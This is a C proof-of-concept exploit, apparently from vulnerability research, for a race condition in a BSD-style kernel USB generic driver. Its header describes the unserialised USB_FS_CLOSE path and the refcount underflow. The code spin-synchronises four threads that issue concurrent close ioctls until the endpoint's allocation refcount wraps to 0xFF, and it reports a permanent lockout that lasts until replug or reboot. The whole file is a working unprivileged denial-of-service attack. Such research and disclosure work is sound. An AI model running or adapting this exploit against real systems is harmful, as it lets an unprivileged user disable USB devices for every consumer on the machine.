/*
 * DF-5314 variant C -- USB_FS_CLOSE x USB_FS_CLOSE double-unsetup,
 * spin-gate synchronised (nanosecond-scale entry skew).
 *
 * Same defect as variant B: ugen_ioctl(USB_FS_CLOSE)
 * [sys/bus/u4b/usb_generic.c:1558-1568] is unserialised, and
 * usbd_transfer_unsetup() reads the slot pointer BEFORE locking it
 * [usb_transfer.c:1379 read; :1405 NULL under lock].  If two (or more)
 * closes read the non-NULL pointer inside that ~1us window, both run a
 * full unsetup on the same xfer: endpoint->refcount_alloc 1 -> 0 -> 0xFF
 * (uint8_t underflow, usb_transfer.c:1421) and info->setup_refcount
 * 1 -> 0 -> 0xFF (usb_transfer.c:1431).  The endpoint then permanently
 * rejects all setups (refcount 0xFF >= USB_EP_REF_MAX).
 *
 * The spin gate lines all closers up on their own CPUs before the
 * syscall, so their reads of pxfer[] fall inside the same window.
 *
 * Build:  cc -O -Wall -o df5314c df5314c.c -pthread
 * Run:    ./df5314c          (unprivileged, rw on the ugen ctrl node)
 */
#include <sys/types.h>
#include <stdatomic.h>
#include <sys/ioctl.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <bus/u4b/usb.h>
#include <bus/u4b/usb_ioctl.h>

#ifndef DEV
#define	DEV	"/dev/usb/0.2.0"	/* control endpoint node of ugen0.2 */
#endif

#define	NCLOSER	4

static int fd;
static volatile unsigned go;
static volatile int stop;
static volatile int fired;

static struct usb_fs_endpoint eps[4];

static void
fs_init(void)
{
	struct usb_fs_init ini;

	memset(&ini, 0, sizeof(ini));
	ini.pEndpoints = eps;
	ini.ep_index_max = 4;
	if (ioctl(fd, USB_FS_INIT, &ini) < 0)
		err(1, "USB_FS_INIT");
}

static int
fs_open(void)
{
	struct usb_fs_open op;

	memset(&op, 0, sizeof(op));
	op.ep_index = 0;
	op.ep_no = 0x00;
	op.max_bufsize = 256;
	op.max_frames = 4;
	return (ioctl(fd, USB_FS_OPEN, &op));
}

static void *
closer(void *arg)
{
	struct usb_fs_close cl;

	memset(&cl, 0, sizeof(cl));
	cl.ep_index = 0;

	while (!stop) {
		/* spin until the gate opens */
		while (!go && !stop)
			;			/* spin */
		if (stop)
			break;
		ioctl(fd, USB_FS_CLOSE, &cl);
		atomic_fetch_add(&fired, 1);
	}
	return (NULL);
}

int
main(void)
{
	pthread_t th[NCLOSER];
	struct usb_fs_uninit un;
	int round, r, i;

	memset(&un, 0, sizeof(un));

	fd = open(DEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s", DEV);

	fs_init();

	for (i = 0; i < NCLOSER; i++)
		if (pthread_create(&th[i], NULL, closer, NULL) != 0)
			err(1, "pthread_create");

	for (round = 1; round <= 3000; round++) {
		if (fs_open() != 0) {
			if (errno == EBUSY) {
				struct usb_fs_close cl;

				memset(&cl, 0, sizeof(cl));
				cl.ep_index = 0;
				ioctl(fd, USB_FS_CLOSE, &cl);
				if (fs_open() != 0) {
					printf("[!] round %d arm: %s\n",
					    round, strerror(errno));
					break;
				}
			} else {
				printf("[!] round %d arm: %s\n",
				    round, strerror(errno));
				break;
			}
		}
		/* arm the spin gate */
		go = 0;
		fired = 0;
		/* wait a moment so all closers are spinning */
		usleep(2000);
		go = 1;			/* fire! */
		while (fired < NCLOSER)
			;			/* wait for all */
		usleep(2000);		/* let them finish unsetup */

		r = fs_open();
		if (r != 0) {
			stop = 1;
			go = 1;
			for (i = 0; i < NCLOSER; i++)
				pthread_join(th[i], NULL);
			printf("[+] round %d: USB_FS_OPEN now fails: %s\n",
			    round, strerror(errno));
			goto won;
		}
		{
			struct usb_fs_close cl;

			memset(&cl, 0, sizeof(cl));
			cl.ep_index = 0;
			ioctl(fd, USB_FS_CLOSE, &cl);
		}
		printf("[*] round %d survived\n", round);
		fflush(stdout);
	}
	stop = 1;
	go = 1;
	for (i = 0; i < NCLOSER; i++)
		pthread_join(th[i], NULL);
	printf("SURVIVED -- double-unsetup not landed\n");
	return (2);

won:
	for (round = 0; round < 4; round++) {
		struct usb_fs_close cl;

		memset(&cl, 0, sizeof(cl));
		cl.ep_index = round;
		ioctl(fd, USB_FS_CLOSE, &cl);
	}
	ioctl(fd, USB_FS_UNINIT, &un);
	fs_init();
	r = fs_open();
	if (r != 0) {
		printf("POST-CLEANUP USB_FS_OPEN FAILED: %s\n",
		    strerror(errno));
		printf("ENDPOINT LOCKED OUT: refcount_alloc underflowed "
		    "(double unsetup) -- dead for all consumers until "
		    "replug/reboot\n");
		return (0);
	}
	printf("post-cleanup open succeeded (no lockout)\n");
	return (1);
}
